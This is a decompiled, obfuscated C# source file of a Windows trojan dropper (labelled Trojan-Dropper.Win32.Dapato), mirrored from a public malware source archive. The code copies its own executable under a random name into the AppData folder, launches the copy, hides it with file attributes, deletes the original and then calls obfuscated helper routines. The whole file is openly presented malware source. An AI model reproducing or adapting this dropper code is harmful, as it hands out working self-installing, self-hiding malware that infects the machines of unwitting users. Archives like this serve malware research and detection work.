mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
145 lines
3.7 KiB
C#
145 lines
3.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
using System.Text;
|
|||
|
using System.Threading;
|
|||
|
using xDyrwegfyiLGERLFK;
|
|||
|
|
|||
|
[StandardModule]
|
|||
|
internal sealed class \u0008
|
|||
|
{
|
|||
|
private static bool \u0002;
|
|||
|
private static string \u0003;
|
|||
|
|
|||
|
static \u0008()
|
|||
|
{
|
|||
|
string location = Assembly.GetExecutingAssembly().Location;
|
|||
|
if (false)
|
|||
|
return;
|
|||
|
\u0008.\u0003 = location;
|
|||
|
}
|
|||
|
|
|||
|
public static string \u0002(int _param0)
|
|||
|
{
|
|||
|
VBMath.Randomize();
|
|||
|
StringBuilder stringBuilder1 = new StringBuilder(string.Empty);
|
|||
|
if (true)
|
|||
|
goto label_7;
|
|||
|
label_1:
|
|||
|
char[] charArray = \u000F.\u0002(-1181139413).ToCharArray();
|
|||
|
if (true)
|
|||
|
goto label_8;
|
|||
|
label_2:
|
|||
|
int num1 = _param0;
|
|||
|
if (true)
|
|||
|
goto label_9;
|
|||
|
label_3:
|
|||
|
int num2 = 1;
|
|||
|
char[] chArray;
|
|||
|
StringBuilder stringBuilder2;
|
|||
|
int num3;
|
|||
|
while (num2 <= num3)
|
|||
|
{
|
|||
|
VBMath.Randomize();
|
|||
|
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (chArray.Length - 2 - 0 + 1) * VBMath.Rnd()) + 1f)));
|
|||
|
stringBuilder2.Append(chArray[index]);
|
|||
|
checked { ++num2; }
|
|||
|
}
|
|||
|
return stringBuilder2.ToString();
|
|||
|
label_9:
|
|||
|
num3 = num1;
|
|||
|
goto label_3;
|
|||
|
label_8:
|
|||
|
chArray = charArray;
|
|||
|
goto label_2;
|
|||
|
label_7:
|
|||
|
stringBuilder2 = stringBuilder1;
|
|||
|
goto label_1;
|
|||
|
}
|
|||
|
|
|||
|
[STAThread]
|
|||
|
public static void \u0002()
|
|||
|
{
|
|||
|
Random random = new Random();
|
|||
|
if (true)
|
|||
|
goto label_12;
|
|||
|
label_1:
|
|||
|
string str1 = \u0008.\u0002(10) + \u000F.\u0002(-1181139440);
|
|||
|
if (true)
|
|||
|
goto label_13;
|
|||
|
label_2:
|
|||
|
string str2;
|
|||
|
try
|
|||
|
{
|
|||
|
Thread.Sleep(273);
|
|||
|
string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u000F.\u0002(-1181139355);
|
|||
|
if (true)
|
|||
|
goto label_9;
|
|||
|
label_3:
|
|||
|
string path;
|
|||
|
if (!Directory.Exists(path))
|
|||
|
Directory.CreateDirectory(path);
|
|||
|
if (!\u0008.\u0003.Contains(path))
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
FileSystem.FileCopy(\u0008.\u0003, path + \u000F.\u0002(-1181139383) + str2);
|
|||
|
Interaction.Shell(path + \u000F.\u0002(-1181139383) + str2 + \u000F.\u0002(-1181139391) + \u0008.\u0003);
|
|||
|
FileAttributes fileAttributes = FileAttributes.Hidden;
|
|||
|
File.SetAttributes(path + \u000F.\u0002(-1181139383) + str2, fileAttributes);
|
|||
|
ProjectData.EndApp();
|
|||
|
goto label_11;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
int num = (int) Interaction.MsgBox((object) ex.ToString());
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
goto label_11;
|
|||
|
}
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
FileSystem.Kill(Interaction.Command());
|
|||
|
goto label_11;
|
|||
|
}
|
|||
|
label_9:
|
|||
|
path = str3;
|
|||
|
goto label_3;
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
label_11:
|
|||
|
\u0008.\u0002 = true;
|
|||
|
eyLVVDhbWEkldwLK.bUfdeuYwyoegegejwgLkwe(\u000F.\u0002(-1181139367) + \u0008.\u0003);
|
|||
|
\u0008.\u0003();
|
|||
|
return;
|
|||
|
label_13:
|
|||
|
str2 = str1;
|
|||
|
goto label_2;
|
|||
|
label_12:
|
|||
|
goto label_1;
|
|||
|
}
|
|||
|
|
|||
|
public static void \u0003()
|
|||
|
{
|
|||
|
if (\u0008.\u0002)
|
|||
|
{
|
|||
|
eyLVVDhbWEkldwLK.ORYfbwIYVEwRFjbwrFgbwrigi(\u000F.\u0002(-1181139071));
|
|||
|
eyLVVDhbWEkldwLK.LIJVwieyfvwEJfwEIyfI(\u000F.\u0002(-1181139071));
|
|||
|
}
|
|||
|
\u0008.\u0003();
|
|||
|
}
|
|||
|
}
|